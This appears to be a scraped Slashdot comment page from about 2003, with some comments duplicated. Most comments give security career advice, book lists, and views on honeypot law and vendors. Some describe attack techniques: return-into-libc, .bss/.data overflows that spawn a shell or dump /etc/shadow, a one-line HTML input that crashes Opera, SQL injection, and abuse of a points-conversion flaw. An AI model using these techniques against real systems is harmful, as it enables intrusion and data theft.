Slashdot Mirror

People if you run a system that can run these programs then run them. They pose no risk to you and only benifit the user

People if you run a system that can run these programs then run them. They pose no risk to you and only benifit the user

IMHO any information security professional needs to develop a professional paranoia, being thoughtful of potential risks and failures, and understand what might go wrong.

Reading Bruce Schneier's Secrets and Lies is a really good start in this area. It is a not very technical book, written at the level suitable for an IT manager. This is also useful to help explains risks, vulnerabilities, and failures to IT Management.

The ever so ugly covered Hacking Exposed, which explains the basics of what criminals (or attackers) do commonly to gain unauthorized access to (networked) computer systems. This is so you a) know how easy it is, and b) are familiar with an overview of the basic steps and techniques to gain illicit access.

For online resources, RISKS digest (not focused on malicious activities, but how systems fail - very insightful and low volume), and Bugtraq a full disclosure mailing list will show you recent exploits, and vuln notices, but it is fairly lacking in actual educational content, and there are several other mailing lists at SecurityFocus that could also be useful to developing professional paranoia.

Next you need the language and basics of information/computer security. For this textbooks like Computer Security by Dieter Gollmann, Information Security Management Handbook by Tipton and Krause, Practical Unix & Internet Security by Simson Garfinkel, Gene Spafford, Alan Schwartz, and Security in Computing by Pfleeger and Pfleeger.

For procedures look at CISSP study material, BS 7799 / ISO 17799, and security auditing and incident handling materials. Some knowledge of risk management can also be useful.

From these basics, of the right mindset, the common language of infosec, and procedures and policy you can get into the low-level details of firewalls, VPNs, IDS, and network design. For this you should have a good network/internetworking basics, a very detailed understanding of TCP/IP, and understand firewalls, VPNs, and IPsec.

Firewalls and Internet Security: Repelling the Wily Hacker, 2nd ed. by William R. Cheswick, Steven M. Bellovin, and Aviel D. Rubin is a great place to start, and Building Internet Firewalls by Elizabeth D. Zwicky, Simon Cooper, D. Brent Chapman is a great follow-up. An alternative book on firewalls and VPNs is Inside Network Perimeter Security: The Definitive Guide to Firewalls, VPNs, Routers, and Intrusion Detection Systems by Stephen Northcutt, Karen Frederick, Scott Winters, Lenny Zeltser, Ronald W. Ritchey (crowd from SANS).

For networking basics, a Cisco certification like CCNA could useful in providing knowledge about internetworking and Cisco router's IOS. For the gory details of TCP/IP either TCP/IP Illustrated: Volume 1: The Protocols by Richard Stevens or Internetworking With TCP/IP Volume 1: Principles Protocols, and Architecture, 4th edition by Douglas Comer.

For IDS - Network Intrusion Detection: An Analyst's Handbook by Stephen Northcutt and Intrusion Signatures and Analysis by Matt Fearnow, Stephen Northcutt, Karen Frederick, Mark Cooper are the best IMHO.

I am not sure what to recommend for VPNs, other than you need to know about IPsec.

• set up a network of very cheap boxes with old software you know to be vulnerable, and try using exploits against them.
• Try hardening and patching those boxes so the exploits don't work anymore. (You'll frequently be patching/protecting obsolete boxes in the real world, so this is actually realistic.)
• Try adding tripwire and snort to stop/detect attacks. Configure snort with database logging, with syslog/swatch, etc. Clients will want it done in a variety of ways, so it is good to be able to do it in different ways.
• Familiarize yourself with as many of the tools in Fyodor's list as possible. Using them will be the bread an butter of your work. That includes scanners like nessus.
• Read an ultra paranoid book that will give you an overall view of the field (e.g. John M. Caroll's "Computer Security, Third Edition").
• Practice security. As you install and register software, watch what is happening to the box.
• Pick an area of security that you want to specialize in...there are too many bugs and holes each week to know all of them...just the PHP code injection stuff will keep you swamped.
• Don't be afraid to ask more advanced people security questions, but do your homework first, and make sure that they know you have. They will take your more seriously if you say "I've already read the FAQ and the man page, but I'm not clear on...." than if you say, "Dude, how do I do...". This can make your learning experience far less painful

• set up a network of very cheap boxes with old software you know to be vulnerable, and try using exploits against them.
• Try hardening and patching those boxes so the exploits don't work anymore. (You'll frequently be patching/protecting obsolete boxes in the real world, so this is actually realistic.)
• Try adding tripwire and snort to stop/detect attacks. Configure snort with database logging, with syslog/swatch, etc. Clients will want it done in a variety of ways, so it is good to be able to do it in different ways.
• Familiarize yourself with as many of the tools in Fyodor's list as possible. Using them will be the bread an butter of your work. That includes scanners like nessus.
• Read an ultra paranoid book that will give you an overall view of the field (e.g. John M. Caroll's "Computer Security, Third Edition").
• Practice security. As you install and register software, watch what is happening to the box.
• Pick an area of security that you want to specialize in...there are too many bugs and holes each week to know all of them...just the PHP code injection stuff will keep you swamped.
• Don't be afraid to ask more advanced people security questions, but do your homework first, and make sure that they know you have. They will take your more seriously if you say "I've already read the FAQ and the man page, but I'm not clear on...." than if you say, "Dude, how do I do...". This can make your learning experience far less painful

First off, computer security is much like many other forms of security, at the concept level. The particulars of implementation are very different, but the underlying motives of the players and the interactions aren't. The infamous 419 scam was originally done in person, then by phone, and then by fax before it was possible to do it via email, for example, and lesser variants of it (the pigeon scam, for example) have existed in the offline world.

If you're looking to grasp home user or end user security, the first thing I'd do is buy The Gift of Fear by Gavin de Becker. Right off, that will give you a good understanding of intuitive threat modeling for everyday life. Unfortunately, I can't find a book out there that does home-user security for the average joe, nor can I find a class...but I am writing a book myself.

If you're interested in security from a more admin-oriented perspective, I would go to SecurityFocus and check out some of their mailing lists. At first, the material may be over your head, but you'll find that that only pulls you up a bit. Also, get yourself a linux box and learn linux (if you don't already know it). Set up a honeynet and see what's going to happen to an unpatched, exposed box. Or just set up snort with ACID as the front-end console to observe the attacks that are taking place. Once you understand the threat, it becomes a lot easier to decide what to study to defend against it.

Try "Network Intrusion Detection: An Analyst's Handbook" by Stephen Northcutt.
"Know your Enemy" from the Honeynet Project

Experiment with the following programs:
Snort
Ethereal
IPTables
TcpDump/LibPcap

Follow articles/join mailing lists at:

CERT
Securityfocus

Examine analysis of the Scan of the Month Challenge at the Honeynet Project website.

Get yourself CISSP reference texts and generally increase your knowledge. I believe Cisco now has a few Security based certifications as well YMMV.

I recommend strongly that anyone in a role like mine take some time to study viruses, exploits, rootkits, and other pieces of hostile code. These are a basic part of the security environment in the field. The more you understand the crap that the Net's rejects and crackheads are throwing at you, the better a job you can do.

Here's just one example of what we can learn from viruses; a bit of an older example, so I'm not doing too much of your work for you:

Let's say your client is considering a bonehead move -- like, say, deploying Microsoft Outlook enterprise-wide. Any security nerd can say "duh, Outlook sux0r, it's full of vulnerabilities, that's why it spreads viruses." However, if you have read the source code of the LoveLetter and Melissa viruses, you will realize (and can explain to your client) that these viruses do not exploit vulnerabilities at all -- at least, not in the sense of buffer overflows and other attacks which target bugs in software. These viruses don't crack anything -- they use perfectly ordinary, documented API calls. It isn't holes in the Windows Mail API that make it a virus breeding ground -- it's just its built-in, designed, intended functionality. That's why these viruses can still spread after years of bug fixes: their critical paths do not rely on bugs at all.

What do we learn from these viruses? Security is not about patching bugs, or having bug-free software. It is about correctly modeling the trust relationships people have with each other regarding their computer resources, in software. The Windows MAPI's design implies an assumption that people want to entrust word-processing documents with the power to send hundreds of emails. That's obviously wrong -- and that, not any bug, is what must be explained to convince someone that Microsoft's mail software is a bad security choice.

There are many more lessons to be learned by understanding hostile code. There are lessons about user interface design: many email viruses depend on getting the user to take some action (opening a message, running a macro, etc.) which unintentionally grants the virus trust and privilege (even the privilege to run code) that it should not have. To design secure systems for users, we must have user interfaces which do not promote such deception. There are lessons about system monitoring and the habits of sysadmins: Unix rootkits, which alter the system to conceal the tracks of an attacker, show just how easily a too-shallow maintenance or log-checking routine can be deceived. There are many lessons.

Get yourself some virus source code. Google will help. Read rootkit code, and the analyses thereof which researchers on SecurityFocus and other sites have published. Understand these attacks, and you will understand the systems they target better than you do now.

So, according to this (new) article, ISS is wide open to the further embarrassment of having suit brought against them for having their website defaced.

That's got to be some spin -- An anonymous reader points to Eric Hellweg's Tech Investor on CNN, which suggests that the backlash which triggered Intuit's copy-protection reversal may have cost the company $100 million.

Can I use my Go Phone there?
An anonymous reader writes ""In a follow-up to the Slashdot article 'CDMA vs GSM in Post-war Iraq,' The Reg has a story about how MCI has won the contract to rebuild the mobile phone system with GSM. This is a good thing for the people of Iraq that GSM is being used, GSM is the world standard and several U.S. companies (AT&T for one) are switching to GSM."

Adding Money to Insult.
Neophytus writes "Remember the 'Star Wars Kid' that waxy.org found a couple of weeks ago? Well after over a million downloads the guy has been found. His name is Ghyslain, a 15-year-old tenth grader living in Quebec. Jish contacted him and got a brief, but interesting, interview."

No unlimited copy privileges in jail.
the-dude-man writes "As reported here A 19-year-old pleaded guilty to costing DirectTV for leaking information about the secrets of DirectTV's most advanced anti-piracy technology to hacker websites. As part of the plea deal, Serebryany admitted to copying and distributing 800 megabytes of scanned documents from DirecTV, costing the company $68,000 in investigatory costs. Both sides stipulated to sentencing factors that carry six months to a year in prison under federal guidelines -- assuming no prior convictions. The sentencing court can depart from the guidelines only if the judge finds that the proposed sentence doesn't adequately reflect the facts of the case. According to court records affidavit, Serebryany's adventures began when he found himself with access to some of DirecTV's most coveted technological secrets while working for his uncle at a document imaging company at the office of a Los Angeles law firm, Jones, Day, Reavis and Pogue. The firm was representing the satellite TV company in a lawsuit against NDS, the makers of the smart cards DirecTV uses to control access to its signal."

For every 11 discontented customers, there's one of these happy oddballs!
RedWingsSuck writes "A few weeks ago, I asked /. users what they thought about the

Don't use Windows for mission critical applications where money changes hanges. Although these articles only mention it in passing, either in an attempt to remove technical "jargon" or due to a wish to defer to MSFT, it does mention that these guys exploited vulns in NT

Boy, are you ever right on this one! Thank god non-MS operating systems are completely secure...

In this article, I'm surprised by the following quote:

"I think there are at least two public exploits in circulation right now," said Zalewski, in a telephone interview. "They just got released about a month after the advisory. And I know there are some that are not public."

I though security through obscurity was something only Microsoft did? Why are there ssh exploits that we (the users) don't know about? Everyone has access to the code so where are these millions of eyeballs? It appears there's only a few who are able to really decipher the source code and understand it.

Ugh, will someone please that author the movie is NOT filmed in the future?

It's suppose to happening in our current view of reality, but suggests that our view is not correct, that it's really two hundred years in the future and we're just living out 1999 in a computer simulation. So that scene in the movie is happening in 1999, not 2199.

When you have a somewhat accurate portrayal of hacking in movies?

heheh

Coincidence? Yeah, probably.

This post... TO BE CONCLUDED

Clickable: http://www.securityfocus.com/archive/1/321307/2003 -05-13/2003-05-19/0

Security focus article about the mad hax0ring tools of Reloaded.

What I find annoying is that material about other products seems to get kicked off quickly from the front pages of many sites and some even disappear. This is unfortunate because information is essential in making informed decisions. Microsoft products have been unable to survive in a free market nor compete on technical merits, and then there are the image problems, security issues, fines.

The market has already changed and Microsoft has not. RedHat, Mandrake, Suse, and OS X are all far easier to install, use and maintain. And these are more secure. In other words, they are for all practical purposes, drop in replacements for most home and many business desktops, minus the games. For games, there's Playstation and Gamecube. The market has already said what it has to say about xbox

The U.S. economy is hurting so badly that deflation is now a danger. Ballmer, Allchin, and Gates' insistence on trying to keep a dead company afloat is just causing further harm. Enough all ready, if the executives haven't exercised their options by now, tough. Businesses and agencies now realize that by going with the better (i.e. non-Microsoft) systems, not only do they gain more flexibility, but can spend their time working rather than repair.

A recent SecurityFocus article talks about possible legal implications for people who administer honeypots (here). Do you feel that this is a legitimate concern, and have you or your colleagues run into any legal issues with honeypots or the use of Nmap and similar tools? Thank you.

What is your opinion on the proposed "Super-DMCA" acts being proposed in several states, which would make honeypots illegal?

Here's the article on it that ran in Slashdot awhile ago.

Basically, the law says you can't "assemble, develop, manufacture, possess, deliver, offer to deliver, or advertise" any device or software that conceals "the existence or place of origin or destination of any telecommunications service." - thus making honeypots, even when used to thwart illegal computer activity, are illegal.

This would mean that anyone who gets SARS is obviously a dirty rotten patent infringer, as they are making, using and (well, hopefully not selling) the invention.

Perhaps they'll get a nasty letter from Madonna's lungs.

I guess this takes care of the Linux kernel ptrace/kmod local root exploit. On unpatched <=2.4.20 kernels this will spawn a suid 0 shell.

It should also be pointed out that while most buffer overflow exploits do indeed simultaneously overwrite the return address and inject the shellcode onto the stack, a certain class of buffer overflow exploits called return-into-libc attacks do not require executable stacks and are not too difficult to construct. These attacks overwrite the return address with the starting address for one of the libc exec*() functions. At the same time, the parameters for executing /bin/sh are pushed onto the stack. The execution of the corresponding return instruction then causes the exec*() function to execute /bin/sh. See this paper for a more detailed analysis of some buffer overflow solutions.

I think that it's interesting that in the past few weeks, several solutions for buffer overflows have been announced (e.g., the OpenBSD announcements). Each of these solutions are good solutions, but they heavily borrow from earlier solutions. Unfortunately, the previous work has often not been properly acknowledged. Since the masses are generally not aware of the current state of the art, these supposedly new solutions are given more credit than due. Still, I suppose it's a good thing if general awareness of the buffer overflow problem is raised, even if the pioneers of the technology do not receive their due credit.

Tim Tsai

This is another example of people who don't know what the fsck they are doing messing with those who do. Remember Madonna's website?

If they keep going like this they are going to piss off the wrong people.

Well,

Not so surprisingly the other side is already monitoring the RIAA activities and in this case some of results are already in public. For example, Peer-Guardian tries to protect the P2P-clients from the hostile IP-addresses. There's a quite nice article about the topic in Security Focus.

V.

Well,

Not so surprisingly the other side is already monitoring the RIAA activities and in this case some of results are already in public. For example, Peer-Guardian tries to protect the P2P-clients from the hostile IP-addresses. There's a quite nice article about the topic in Security Focus.

V.

http://www.securityfocus.com/archive/1/319621/2003 -04-20/2003-04-26/2

Opera crashes to the point where you have to *reinstall* it so you can run it again.

All you have to do is run a very large 'news:' URL.

Actually only one line of HTML is required:
<input type>
As someone on BugTraq already figured out 10 days ago, it's caused due to a null value for the type attribute.

1. Education - Get educated about what information security is all about, you should know what C.I.A. stands for (in infosec, not the US federal agency), you should know what a security policy is, understand risk management and mitigation, and known what criminals/attackers can do in your organization.

You can get a lot of this from several books and websites, such as Secrets and Lies by Bruce Schneier, the SANS Reading Room, if you can afford it SANS/GIAC training and/or certification may be of benefit to you and your org, the CISSP and SSCP Open Study Guides even if you don't go for CISSP or SSCP (I don't recommend paying any money to ISC^2), and Security Focus.

2. Audit - This step is critical and too many places forget to do it. You need to know what you are trying to secure, yet most organizations do not have a complete picture of their network and all the systems on it. This includes security and non-security issues (e.g. software licenses, maintenance patches, standardization)

Tools like those from IBM Tivoli or HP Openview can help here. For security specific vulnerability analyzer, open-source Nessus and eEye's Retina, ISS's Internet Scanner

3. Policy - You need a plan and a document to give you and others guidenance, and this if your infosec policy.

Large orgs should consider BS 7799 or ISO 17799 whereas smaller groups can look at Center for Internet Security for benchmarks, and SANS Reading Room - Auditing and Assessment, and Site Security Handbook - RFC 2196.

4. Implement -- Using your education, audits and policies you can now implement decent security.

Basic principles of defence in depth, fail-safe, separation of privilege, and complexity is the enemy of security can guide you to build a practical network of secured systems that limits exposure to criminal activities, and minimizes damage from attacks.

5. Be vigilant - "Security is a process, not a product" - Bruce Schneier

Now the work begins, up to now it was the fun stuff, now you get to dig in with boring but important tasks such as analyzing log files, maintaining a accurate asset database, applying patches, maintaining user accounts, periodic audits (internal and if you can afford it and it is warranted, external), educating users, and maintaining your security posture.

1. Only allow those ports that are absolutely necessary - i.e. HTTP, FTP, SMTP,...
2. Review log files daily. Make it part of your religion. Log files. Review. Daily.
3. Err on the side of being too restrictive.
4. Review log files daily. Make it part of your religion. Log files. Review. Daily.
5. Absolutely keep up to date with your virus signatures and patches for your workstations and servers.
6. Review log files daily. Make it part of your religion. Log files. Review. Daily.
7. Find a few quality security web sites (securityfocus.com, cert and others - check out DMOZ for a nice list of links...) and put them on your daily visit list. Make sure to go to several sites daily and use them to triangulate on what's relevant and important.
8. Review log files daily. Make it part of your religion. Log files. Review. Daily.
9. Visit the IT Security Cookbook and enjoy!!!
10. Review log files daily. Make it part of your religion. Log files. Review. Daily.
11. If you're running a web server on your network, check out the open web application security project. The OWASP Top 10 is a great tool to get you to think about how your web sites can be made more secure
12. Review log files daily. Make it part of your religion. Log files. Review. Daily.
13. Know that you're not ever going to secure everything 100% , but if you make security one of your daily duties and take a proactive approach to security instead of a reactive approach, you'll do better than 99% of the networks out there. Just be diligent, use common sense and stay on top of patches/updates and you'll be fine.
14. Review log files daily. Make it part of your religion. Log files. Review. Daily.

It's as if a well fed westerner telling a poor hungry 3rd world citizen to stay away from the truffles because they will give him a bad case of indigestion. Hypocritical at best...

So, are you saying that I don't believe that Monster.com is a scumbag organization? That I have some sekrit plan to keep the joyous motherlode of high-quality opportunities at Monster.com all for my eviil self?

Perhaps you might consider that I am an employer, and that therefore my views on where I will and won't look for candidates might be of some use to job seekers.

So for those who might actually care, when I am recruiting I post & read in these kinds of forums:

• local Linux user group mailing lists (we are a Linux vendor)
• local system administration mailing lists (I have high respect for admins as potential developers)
• Craig's List
• Security Jobs
• "networking", i.e. friends of friends

Crispin
----
Crispin Cowan, Ph.D.
Chief Scientist, WireX Communications, Inc.
Immunix: Security Hardened Linux Distribution
Available for purchase

It looks like they have "the scoop", but really they just cut and paste the original Security Focus article two days after the fact. Why don't they bother mentioning that? Do they have a partnership? Am I supposed to just know?

Microsoft Baseline Security Analyzer (MBSA) and Microsoft's version of HFNetChk both failed to detect the presence of the well-known vulnerability in SQL Server exploited by Sapphire, which is one of the reasons so many admins (both inside and outside MS) had failed to install the necessary hotfix. MBSA and HFNetChk are Microsoft's official patch status verification tools meant to be used by all owners of Windows server boxes ...

...In addition to designing MBSA to avoid scanning for SQL Server vulnerabilities, failing to update mssecure.xml reliably and in a timely manner, deprecating HFNetChk by pushing the MBSA GUI as its preferred replacement, and hiding the details of the technical limitation

I'm sure someone will write a nice nat module for linux/etc to bypass this also

The grsecurity kernel patch already does this

"Do NOT register for the mailing list at www.emarketersamerica.org."

Register it where?

Sure, clean needles are a harm reduction tactic, but the harm that is being reduced is the harm to the drug user. No matter how many drugs a user puts in their arm, it doesn't affect my health.

How exactly can we "harm reduce" the effects of hacking? These guys aren't hacking their own servers, they are hacking production boxes.

Here's a harm reduction suggestion. The register can pay to maintain honeypots to lure hackers away from real production boxes on the internet....but I doubt they have the time or money to pull that off.

Of course, if you use a honeypot while trying to protect yourself you might actually go to jail .

-ted

Microsoft Baseline Security Analyzer (MBSA) and Microsoft's version of HFNetChk both failed to detect the presence of the well-known vulnerability in SQL Server exploited by Sapphire, which is one of the reasons so many admins (both inside and outside MS) had failed to install the necessary hotfix. MBSA and HFNetChk are Microsoft's official patch status verification tools meant to be used by all owners of Windows server boxes ...

......In addition to designing MBSA to avoid scanning for SQL Server vulnerabilities, failing to update mssecure.xml reliably and in a timely manner, deprecating HFNetChk by pushing the MBSA GUI as its preferred replacement, and hiding the details of the technical limitations

There is also another article about this topic. Also here is a direct link to a discussion as well. The article is mostly the same old thing but some of the comments are well thought out and argued *gasp* intelligently.

There is also another article about this topic. Also here is a direct link to a discussion as well. The article is mostly the same old thing but some of the comments are well thought out and argued *gasp* intelligently.

Apparently this isn't a dupe because the other post links to a different article.

If anyone cares, the real advisory is here.

Now modding myself down because this is Offtopic (I just wanted to quash any rumors... probably won't make a habit of this though).

Regarding your question of routers:

As I see it, there are two separate issues to worry about there. Living in Michigan myself, and not only using an IPtables/NAT script but also offering it to the public, I'm following this law with considerable interest:

"Conceal the existence or place of origin or destination of any telecommunications service" MCL 750.540c(1)(b)

The first issue: As a NAT user, I might technically obscure the "place of origin"... namely, local 192.168.0.0/24 IPs. But if I send spam from any of these machines, my public IP is still quite visible. Now, I would like to see this law applied to spoofing, bouncing off open relays/proxies, etc -- in those cases, you are indeed concealing the place of origin, and with malicious intentions.

What concerns me isn't the state government (yet), it's the ISP. Therein lies the second issue: theft-of-service allegations, via this bit about "concealing the existence". Ergo, a firewall/NAT/router splits one IP into something multiple machines can use, and I don't pay Comcast for each separately. Don't think they wouldn't try to sue you... see "Buckeye Cable".

Both of these are markedly different applications than in the original story, which goes to show how broadly this law could be interpreted.

In your day, phreakers et al were pretty much barely a blip on the radar screen. A few of you got charged with old laws, several were threatened or intimidated, and many many kids followed in your wake.

Now we're watching a world get built where PhD thesis material might be illegal, writing code can get you arrested and charged, and even giving an academic presentation is threatened.

How much responsibility, if any, do you think the early phreakers and hackers have for this rash of paranoid law?

I don't agree with your assessment.

Anyone who hacks the system but doesn't inform the sysadmin runs the risk of being found out (by the sysadmin or by another hacker). At that point an investigation will start to determine how long abuse has been taking place. It would be pretty easy to show that the hacker violated his terms of service (presence of an unauthorised proxy, stash of porn in a hidden subdirectory, DDoS daemon running etc...).

XS4ALL's TOS simply protect the 'ethical' hacker. And by the way, there are plenty of people (in their right mind) who do that sort of thing; Lamo springs to mind as a well-known example.

Besides, this was only one reason why I like my ISP. There is also a notable absence of annoying clauses in their TOS. Like: no restriction on home networks, no restriction on what services you run (as long as you don't harm others, e.g. no open relays). Apart from favourable TOS they also have policies that I can identify with; they actively protect the privacy and freedom of their users, actively protect free speech, take a strong anti-spam position and are at the forefront of new technology. They are also reliable and give good service. All this at a very reasonable price. (Sorry if I sound like an advertisement, but I really am a satisfied customer)

There isn't any sandboxing with Java applications. Only the applets that run in an applet viewer (like a browser). Java on the server allows people to write secure code (see this article).

SQL injection *does* happen. I've seen it and plenty of web developers are not very SQL-savvy.

Try these two phpnuke sql injection vulnerabilities (1,2) for example from this week's securityfocus.com vulnerability list. Those are just a couple from the open source world.

In early 2000, my dotcom would allow points to be redeemed for Flooz (remember them?) which could then be used at among other place, Tower Records. Throw a single quote in the search page, it dumped SQL statements including tables, columns, and database names. Turns out the search function was vulnerable to TRUNCATE TABLE -- not that I ran it mind you :)

That doesn't even count the fact that the folks who handled the conversion of points to Flooz through their Java application forgot to check if you had the point you were converting in your account -- I converted 100,000 points ($1000) into real cash (well, real Flooz) from an account with 10 points in it.

No no, you're right. None of these problems are out there in the real world. Sure they aren't.

SQL injection *does* happen. I've seen it and plenty of web developers are not very SQL-savvy.

Try these two phpnuke sql injection vulnerabilities (1,2) for example from this week's securityfocus.com vulnerability list. Those are just a couple from the open source world.

In early 2000, my dotcom would allow points to be redeemed for Flooz (remember them?) which could then be used at among other place, Tower Records. Throw a single quote in the search page, it dumped SQL statements including tables, columns, and database names. Turns out the search function was vulnerable to TRUNCATE TABLE -- not that I ran it mind you :)

That doesn't even count the fact that the folks who handled the conversion of points to Flooz through their Java application forgot to check if you had the point you were converting in your account -- I converted 100,000 points ($1000) into real cash (well, real Flooz) from an account with 10 points in it.

No no, you're right. None of these problems are out there in the real world. Sure they aren't.

A joke, but just so other people are clear other segments of memory are vulnerable to overflows as well:

- .bss section: for uninitialized data. In this exploit I smashed a buffer in .bss space that ended up overwriting a function pointer in the .dtors section (IIRC, this was many years ago). Upon exit this function was called and ran a shell.

- .data section: for initialized data. In this one I was able to overflow a set of character pointers in the xlock (screensaver) program. By overflowing them with the address of the /etc/shadow file stored in memory we were able to get xlock to dump the contents of the file.

- heap overflows have been widely exploited in numerous major programs, including the BIND TSig bug.

So don't think you're safe if you're using strcpy's on data not on the stack ;)

A joke, but just so other people are clear other segments of memory are vulnerable to overflows as well:

- .bss section: for uninitialized data. In this exploit I smashed a buffer in .bss space that ended up overwriting a function pointer in the .dtors section (IIRC, this was many years ago). Upon exit this function was called and ran a shell.

- .data section: for initialized data. In this one I was able to overflow a set of character pointers in the xlock (screensaver) program. By overflowing them with the address of the /etc/shadow file stored in memory we were able to get xlock to dump the contents of the file.

- heap overflows have been widely exploited in numerous major programs, including the BIND TSig bug.

So don't think you're safe if you're using strcpy's on data not on the stack ;)

Its well integrated into just about every web development system you can name.

Admittedly a good thing, but more the 'fault' of the PHP/etc developers than MySQL. PHP being a bad example as it also has excellent PostgreSQL support. Point being it was very popular and therefore everyone wants to make sure their software hooks into it well, not because MySQL put the work in.

At least you can figure out how much it costs. I can't say how much customers love hearing about ORACLES price by the system you install it on system.

Not really targetted at the same audience though is it? Say A.C.I.D to one of your clients, and watch their faces screw up in utter confusion.

Its not one of Microsofts line of swiss chese products that have more holes than a typical sieve. Slammer worm anyone ?

As we can see here, here, and here (the list goes on, as with the vast majority of software packages), it's not only MsSQL that's had it's share of vulns - it's just that no-one bothered to take advantage of the recent MySQL ones to spread a worm.

Just my 2c, but you could have picked a lot better points for your argument there :)